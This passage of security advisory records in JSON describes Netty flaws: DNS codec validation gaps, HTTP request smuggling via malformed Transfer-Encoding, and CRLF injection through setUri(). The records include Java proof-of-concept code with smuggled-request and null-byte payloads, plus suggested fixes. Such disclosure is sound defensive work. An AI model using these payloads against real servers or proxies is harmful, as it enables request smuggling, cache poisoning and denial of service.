  "details": "# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `encodeDomainName()` method (lines 31-51):\n  - No null byte validation in domain name labels\n  - No per-label length validation (RFC 1035 max: 63 bytes)\n  - No total domain name length validation (RFC 1035 max: 255 bytes)\n  - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `decodeDomainName()` method (lines 53-118):\n  - No per-label length validation (max 63)\n  - No total domain name length validation (max 255)\n  - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty\u0027s DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side \u2014 Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side \u2014 Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side \u2014 Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] \u0027a\u0027 [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side \u2014 Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause \u2014 Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            break;  // NO ERROR - silently truncates!\n        }\n        // NO check: labelLen \u003e 63\n        // NO check: label contains null bytes\n        // NO check: total name \u003e 255 bytes\n        buf.writeByte(labelLen);                    // Can write values \u003e 63!\n        ByteBufUtil.writeAscii(buf, label);         // Null bytes pass through!\n    }\n    buf.writeByte(0);\n}\n```\n\n### Root Cause \u2014 Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n    if (!in.isReadable(len)) {  // Only checks if bytes EXIST, not if len \u003c= 63\n        throw new CorruptedFrameException(\"truncated label in a name\");\n    }\n    name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append(\u0027.\u0027);\n    //    ^^^^^^ StringBuilder grows WITHOUT any length limit\n    in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty\u0027s DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty\u0027s `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput;  // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n    .addRecord(DnsSection.QUESTION,\n        new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte:  [C8] [61 61 61 ... (200 bytes)]\n         \u2191\n   Label interpretation: 200-byte label starting with \u0027a\u0027\n   Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n            String.class, ByteBuf.class);\n        encode.setAccessible(true);\n\n        // Test 1: Null byte in domain name\n        ByteBuf buf = Unpooled.buffer(256);\n        encode.invoke(null, \"evil\\0.example.com\", buf);\n        byte[] bytes = new byte[buf.readableBytes()];\n        buf.readBytes(bytes);\n        buf.release();\n        System.out.print(\"[TEST 1] Null byte - Encoded: \");\n        for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n        // Test 2: 200-byte label\n        ByteBuf buf2 = Unpooled.buffer(512);\n        encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n        System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n        System.out.println(\"VULNERABLE: Overlength label accepted!\");\n        buf2.release();\n\n        // Test 3: Empty label truncation\n        ByteBuf buf3 = Unpooled.buffer(256);\n        encode.invoke(null, \"a..b.com\", buf3);\n        byte[] bytes3 = new byte[buf3.readableBytes()];\n        buf3.readBytes(bytes3);\n        buf3.release();\n        System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n        for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n    }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n        decode.setAccessible(true);\n\n        // Test 1: 100-byte label (RFC limit: 63)\n        ByteBuf buf1 = Unpooled.buffer(256);\n        buf1.writeByte(100);\n        buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(3);\n        buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(0);\n        String r1 = (String) decode.invoke(null, buf1);\n        buf1.release();\n        System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n            \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n        // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n        ByteBuf buf2 = Unpooled.buffer(512);\n        for (int i = 0; i \u003c 5; i++) {\n            buf2.writeByte(60);\n            buf2.writeBytes(String.valueOf((char)(\u0027a\u0027+i)).repeat(60)\n                .getBytes(StandardCharsets.US_ASCII));\n        }\n        buf2.writeByte(0);\n        String r2 = (String) decode.invoke(null, buf2);\n        buf2.release();\n        System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n            \" VULNERABLE=\" + (r2.length() \u003e 255));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n  Input: \"evil\\0.example.com\"\n  Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n  Null byte in label data: true\n  VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n  Input: \"aaaaaa...\" (200-char label)\n  Encoded bytes: 206\n  VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n  Input: \"a..b.com\"\n  Encoded bytes: 01 61 00\n  Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n  Label length: 100 bytes (RFC limit: 63)\n  Decoded name length: 105\n  VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n  5 labels x 60 bytes = 300+ bytes total\n  RFC 1035 limit: 255 bytes\n  Decoded name length: 305\n  VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH \u2014 Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH \u2014 Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    int totalLength = 0;\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n        }\n        if (labelLen \u003e 63) {\n            throw new IllegalArgumentException(\n                \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n        }\n        for (int i = 0; i \u003c label.length(); i++) {\n            if (label.charAt(i) == \u0027\\0\u0027) {\n                throw new IllegalArgumentException(\n                    \"DNS label contains null byte at index \" + i);\n            }\n        }\n        totalLength += 1 + labelLen;\n        if (totalLength \u003e 254) {\n            throw new IllegalArgumentException(\n                \"DNS name exceeds maximum length of 255: \" + name);\n        }\n        buf.writeByte(labelLen);\n        ByteBufUtil.writeAscii(buf, label);\n    }\n    buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n    throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n    throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)",
  "id": "GHSA-cm33-6792-r9fm",
  "modified": "2026-05-14T20:40:58Z",
  "published": "2026-05-07T00:12:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://tools.ietf.org/html/rfc1035#section-2.3.4"
    },
    {
      "type": "WEB",
      "url": "https://tools.ietf.org/html/rfc1035#section-4.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:22:27Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n    public void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        assertFalse(request.headers().contains(\"Content-Length\"));\n        LastHttpContent last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n        // Request 2\n        request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-38f8-5428-x5cv",
  "modified": "2026-05-14T20:41:21Z",
  "published": "2026-05-07T00:22:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T18:27:35Z",
    "nvd_published_at": "2026-05-06T22:16:25Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n  - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n  - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n  - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n  - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n  - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n        request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n                \"\\r\\n\" +\n                \"POST /s2 HTTP/1.1\\r\\n\" +\n                \"content-length: 11\\r\\n\\r\\n\" +\n                \"Hello World\" +\n                \"GET /s1\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by HttpServerCodec ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n\n        Object msg;\n        while ((msg = server.readInbound()) != null) {\n            System.out.println(msg);\n        }\n\n        outbound.release();\n        client.finishAndReleaseAll();\n        server.finishAndReleaseAll();\n    }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp://safe/media\");\n\n        request.setUri(\"rtsp://cam/stream RTSP/1.0\\r\\n\" +\n                \"CSeq: 1\\r\\n\\r\\n\" +\n                \"DESCRIBE rtsp://cam/secret RTSP/1.0\\r\\n\" +\n                \"CSeq: 2\\r\\n\\r\\n\" +\n                \"OPTIONS rtsp://cam/final\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded RTSP request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by RtspDecoder ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n    }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload:\n\n```text\nOPTIONS rtsp://cam/stream RTSP/1.0\nCSeq: 1\n\nDESCRIBE rtsp://cam/secret RTSP/1.0\nCSeq: 2\n\nOPTIONS rtsp://cam/final RTSP/1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp://cam/stream`\n- `DESCRIBE rtsp://cam/secret`\n- `OPTIONS rtsp://cam/final`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy/backend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`",
  "id": "GHSA-v8h7-rr48-vmmv",
  "modified": "2026-05-08T19:32:42Z",
  "published": "2026-05-05T18:27:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.18.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-28T02:01:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
